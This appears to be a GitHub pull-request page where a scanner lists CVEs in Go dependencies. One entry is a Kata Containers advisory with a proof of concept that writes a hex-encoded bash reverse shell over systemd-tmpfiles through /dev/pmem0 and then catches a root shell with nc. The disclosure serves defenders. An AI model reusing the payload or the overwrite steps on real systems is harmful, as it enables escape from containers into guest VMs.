pkg:golang/github.com/kata-containers/kata-containers/src/runtime@0.0.0-20250828155603-754f07cff239

medium 5.2: CVE--2026--24834 Improper Preservation of Permissions

Affected range<0.0.0-20260219090056-6a672503973b
Fixed version0.0.0-20260219090056-6a672503973b
CVSS Score5.2
CVSS VectorCVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
EPSS Score0.220%
EPSS Percentile12th percentile
Description

Summary

An issue in Kata with Cloud Hypervisor allows a user of the container to modify the file system used by the Guest micro VM ultimately achieving arbitrary code execution as root in said VM. The current understinding is this doesn’t impact the security of the Host or of other containers / VMs running on that Host (note that arm64 QEMU lacks NVDIMM read-only support: It is believed that until the upstream QEMU gains this capability, a guest write could reach the image file).

Details

Linux virtio-pmem
The virtio-pmem probe path always registers the region as a generic pagemap that supports asynchronous flushes, but it never marks the region as read-only. Only the ND_REGION_PAGEMAP and ND_REGION_ASYNC bits are set before the region is created, so nd_region->ro always stays cleared and the block device is left writable.

Later, pmem_attach_disk() wires the region into the block layer with full read/write semantics – the block device operations call pmem_do_write() which performs cache-flushed memcpy operations directly into the host-provided shared memory window. nvdimm_check_and_set_ro() would set the disk read-only if the region had been flagged as such, but because virtio_pmem never sets that flag, the helper becomes a no-op.

Cloud-Hypervisor virtio_pmem
discard_writes=on causes the file backing the virtio-pmem device to be opened read-only and mapped with MAP_PRIVATE rather than MAP_SHARED. That combination means the guest can modify the private copy of the mapped pages, but those modifications never propagate back to the underlying file. The guest (and Cloud Hypervisor process) will still read the modified data because it lives in the private copy of the mapping, so write-then-read sequences appear to succeed even though nothing is persisted. Once the mapping is dropped or the VM is restarted, those copy-on-write changes disappear, leaving the backing file unchanged.

Kata /dev/pmem0
Kata boots each pod/VM by DAX-mapping a read-only guest image from the host into the VM and telling the guest kernel to mount the resulting /dev/pmem* device as its root filesystem.
Since DAX maps the backing file directly into guest memory, there is no way for the hypervisor to intercept or reject individual stores, so a container with sufficient permissions can open /dev/pmem0 and observe its own writes until the VM is rebooted or the cache is dropped.

PoC

When putting all this together, this means that a user of a Container (not necessarily privileged, we don’t need CAP_SYS_ADMIN, but we need CAP_MKNOD) can modify the Guest OS filesystem, replacing libraries or binaries to achieve arbitrary code execution outside of the Container. This requires computing offsets of files within the device, which requires information like the partition start sector, sector size in bytes, the filesystem block size, and the physical block index of the file.

To achieve execution on the Guest, I replaced /usr/bin/systemd-tmpfiles with a connect-back shell to localhost: timers end up executing 15min after boot.
I use debugfs to not require mounting privileges and work directly with the filesystem on /dev/pmem0p1 to get the absolute offset of the file to modify in the device.

If you want a simpler PoC, just dd write something into /dev/pmem0 and observe it's dd readable until discarded.

root@<!-- -->ab5392da44ce:~# mknod /dev/pmem0 b 259 0
root@<!-- -->ab5392da44ce:~# mknod /dev/pmem0p1 b 259 1
root@<!-- -->ab5392da44ce:~# python pmem.py --file /usr/bin/systemd-tmpfiles --write --pattern 23212f62696e2f626173680a62617368202d69203e26202f6465762f7463702f3132372e302e302e312f34343320303e26310a6578697420300a
=== Resolution ===
Partition device:         /dev/pmem0p1 (pmem0p1)
Partition start (sectors): 2048
Sector size (bytes):       512
Partition start (bytes):   1048576
Filesystem block size:     4096
File path:                 /usr/bin/systemd-tmpfiles
File offset (bytes):       0
Logical block index:       0
Intra-block offset:        0
Physical block index:      40668
→ Absolute pmem offset:    167624704
[*] Raw read (64 bytes at 167624704):
09fdc000  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00 |.ELF............|
09fdc010  03 00 3e 00 01 00 00 00  20 66 00 00 00 00 00 00 |..>..... f......|
09fdc020  40 00 00 00 00 00 00 00  48 82 01 00 00 00 00 00 |@.......H.......|
09fdc030  00 00 00 00 40 00 38 00  0d 00 40 00 20 00 1f 00 |....@.8...@. ...|
[+] Wrote 58 bytes at absolute offset 167624704. Verifying...
09fdc000  23 21 2f 62 69 6e 2f 62  61 73 68 0a 62 61 73 68 |#!/bin/bash.bash|
09fdc010  20 2d 69 20 3e 26 20 2f  64 65 76 2f 74 63 70 2f | -i >& /dev/tcp/|
09fdc020  31 32 37 2e 30 2e 30 2e  31 2f 34 34 33 20 30 3e |127.0.0.1/443 0>|
09fdc030  26 31 0a 65 78 69 74 20  30 0a                   |&1.exit 0.|
root@<!-- -->ab5392da44ce:~# nc -lvp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:44880.
bash: cannot set terminal process group (329): Inappropriate ioctl for device
bash: no job control in this shell
root@<!-- -->localhost:/# 
root@<!-- -->localhost:/# ps auxw
ps auxw
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0  17280  1920 ?        Ss   16:16   0:01 /sbin/init
root           2  0.0  0.0      0     0 ?        S    16:16   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        S    16:16   0:00 [pool_workqueue_release]
root           4  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-rcu_gp]
root           5  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-sync_wq]
root           6  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-slub_flushwq]
root           7  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-netns]
root           9  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/0:0H-events_highpri]
root          10  0.0  0.0      0     0 ?        I    16:16   0:01 [kworker/0:1-events_power_efficient]
root          12  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-mm_percpu_wq]
root          13  0.0  0.0      0     0 ?        I    16:16   0:00 [rcu_tasks_trace_kthread]
root          14  0.0  0.0      0     0 ?        S    16:16   0:00 [ksoftirqd/0]
root          15  0.0  0.0      0     0 ?        I    16:16   0:00 [rcu_sched]
root          16  0.0  0.0      0     0 ?        S    16:16   0:00 [rcu_exp_par_gp_kthread_worker/1]
root          17  0.0  0.0      0     0 ?        S    16:16   0:00 [rcu_exp_gp_kthread_worker]
root          18  0.0  0.0      0     0 ?        S    16:16   0:00 [migration/0]
root          19  0.0  0.0      0     0 ?        S    16:16   0:00 [cpuhp/0]
root          20  0.0  0.0      0     0 ?        S    16:16   0:00 [kdevtmpfs]
root          21  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-inet_frag_wq]
root          22  0.0  0.0      0     0 ?        S    16:16   0:00 [kauditd]
root          23  0.0  0.0      0     0 ?        S    16:16   0:00 [oom_reaper]
root          24  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-writeback]
root          25  0.0  0.0      0     0 ?        S    16:16   0:00 [kcompactd0]
root          26  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-cryptd]
root          27  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-kblockd]
root          28  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/0:1H]
root          29  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/u256:1-events_unbound]
root          30  0.0  0.0      0     0 ?        S    16:16   0:00 [kswapd0]
root          31  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-xfsalloc]
root          32  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-xfs_mru_cache]
root          33  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/u257:0]
root          34  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-kthrotld]
root          36  0.0  0.0      0     0 ?        S    16:16   0:00 [irq/25-ACPI:Ged]
root          37  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-nfit]
root          38  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/0:2-virtio_vsock]
root          39  0.0  0.0      0     0 ?        S    16:16   0:00 [hwrng]
root          40  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/u256:2-events_unbound]
root          41  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-vfio-irqfd-cleanup]
root          42  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-mld]
root          43  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-ipv6_addrconf]
root          81  0.0  0.0      0     0 ?        S    16:16   0:00 [jbd2/pmem0p1-8]
root          82  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/R-ext4-rsv-conversion]
root          99  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/u256:3]
root         105  0.0  0.0  62032  2568 ?        Ssl  16:16   0:02 /usr/bin/kata-agent
_chrony      117  0.0  0.0  10692   540 ?        S    16:16   0:02 /usr/sbin/chronyd -F 1
_chrony      120  0.0  0.0  10560   460 ?        S    16:16   0:00 /usr/sbin/chronyd -F 1
root         122  0.2  1.0  44876 31556 ?        S    16:16   0:11 python -m server
message+     124  0.0  0.0   8120   384 ?        Ss   16:16   0:00 @<!-- -->dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root         129  0.0  0.0      0     0 ?        S    16:16   0:00 [cpuhp/1]
root         130  0.0  0.0      0     0 ?        S    16:16   0:00 [migration/1]
root         131  0.0  0.0      0     0 ?        S    16:16   0:00 [ksoftirqd/1]
root         132  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/1:0-mm_percpu_wq]
root         133  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/1:0H-events_highpri]
root         134  0.0  0.0      0     0 ?        I<   16:16   0:00 [kworker/1:1H]
root         142  0.0  0.0   5400  2220 pts/0    Ss   16:16   0:00 bash -l
root         145  0.0  0.0      0     0 ?        I    16:16   0:00 [kworker/1:1]
root         323  0.0  0.1  13212  3448 pts/0    R+   16:17   0:00 nc -lvp 443
root         329  0.0  0.0   4780   256 ?        Ss   16:31   0:00 /bin/bash /usr/bin/systemd-tmpfiles --clean
root         330  0.0  0.0   5048   512 ?        S    16:31   0:00 bash -i
root         377  0.0  0.0   7480   256 ?        R    17:33   0:00 ps auxw
root@<!-- -->localhost:/#

Impact

Container to Guest micro VM Escape (no escape to Host, no persistence of the overwritten image)

critical: 0 high: 0 medium: 1 low: 0 go.mongodb.org/mongo-driver 1.17.3 (golang)

pkg:golang/go.mongodb.org/mongo-driver@1.17.3

medium 6.9: CVE--2026--2303 Permissive List of Allowed Inputs

Affected range<1.17.7
Fixed version1.17.7
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.223%
EPSS Percentile13th percentile
Description

The mongo-go-driver repository contains CGo bindings for GSSAPI (Kerberos) authentication on Linux and macOS. The C wrapper implementation contains a heap out-of-bounds read vulnerability due to incorrect assumptions about string termination in the GSSAPI standard. Since GSSAPI buffers are not guaranteed to be null-terminated or have extra padding, this results in reading one byte past the allocated heap buffer.

critical: 0 high: 0 medium: 1 low: 0 github.com/sigstore/sigstore 1.10.3 (golang)

pkg:golang/github.com/sigstore/sigstore@1.10.3

medium 5.8: CVE--2026--24137 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range<=1.10.3
Fixed version1.10.4
CVSS Score5.8
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:N
EPSS Score0.363%
EPSS Percentile29th percentile
Description

Summary

The legacy TUF client pkg/tuf/client.go, which supports caching target files to disk, constructs a filesystem path by joining a cache base directory with a target name sourced from signed target metadata, but it does not validate that the resulting path stays within the cache base directory.

Note that this should only affect clients that are directly using the TUF client in sigstore/sigstore or are using an older version of Cosign. As this TUF client implementation is deprecated, users should migrate to https://github.com/sigstore/sigstore-go/tree/main/pkg/tuf as soon as possible.

Note that this does not affect users of the public Sigstore deployment, where TUF metadata is validated by a quorum of trusted collaborators.

Impact

A malicious TUF repository can trigger arbitrary file overwriting, limited to the permissions that the calling process has.

Workarounds

Users can disable disk caching for the legacy client by setting SIGSTORE_NO_CACHE=true in the environment, migrate to https://github.com/sigstore/sigstore-go/tree/main/pkg/tuf, or upgrade to the latest sigstore/sigstore release.

critical: 0 high: 0 medium: 0 low: 1 golang.org/x/sys 0.41.0 (golang)

pkg:golang/golang.org/x/sys@0.41.0

low : CVE--2026--39824

Affected range<0.44.0
Fixed version0.44.0
EPSS Score0.114%
EPSS Percentile2nd percentile
Description

NewNTUnicodeString does not check for string length overflow. When provided with a string that overflows the maximum size of a NTUnicodeString (a 16-bit number of bytes), it returns a truncated string rather than an error.

critical: 0 high: 0 medium: 0 low: 0 unspecified: 3github.com/go-chi/chi/v5 5.2.5 (golang)

pkg:golang/github.com/go-chi/chi@5.2.5#v5

unspecified : GHSA--rjr7--jggh--pgcp

Affected range<5.3.0
Fixed version5.3.0
Description

Chi's RealIP Middleware allows IP spoofing via unvalidated X-Forwarded-For header in github.com/go-chi/chi

unspecified : GHSA--9g5q--2w5x--hmxf

Affected range<5.3.0
Fixed version5.3.0
Description

Chi Middleware vulnerable to IP spoofing via X-Forwarded-For header in github.com/go-chi/chi

unspecified : GHSA--3fxj--6jh8--hvhx

Affected range>=5.2.1
<5.3.0
Fixed version5.3.0
Description

Chi has an IP spoofing vulnerability in middleware.RealIP in github.com/go-chi/chi

critical: 0 high: 0 medium: 0 low: 0 unspecified: 1github.com/klauspost/compress 1.18.3 (golang)

pkg:golang/github.com/klauspost/compress@1.18.3

unspecified : GHSA--259r--337f--4rfw

Affected range>=1.16.0
<1.18.7
Fixed version1.18.7
Description

Providing a specially crafted dictionary to s2.NewDict and using it to encode data can make the encoder read out of bounds.

critical: 0 high: 0 medium: 0 low: 0 unspecified: 1golang.org/x/text 0.34.0 (golang)

pkg:golang/golang.org/x/text@0.34.0

unspecified : CVE--2026--56852

Affected range<0.39.0
Fixed version0.39.0
EPSS Score0.475%
EPSS Percentile39th percentile
Description

A norm.Iter can enter an infinite loop when handling input containing invalid UTF-8 bytes.

@github-actions

github-actions Bot commented Sep 3, 2026

Copy link
Copy Markdown

Attempting automerge. See https://github.com/uniget-org/tools/actions/runs/33800908182.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants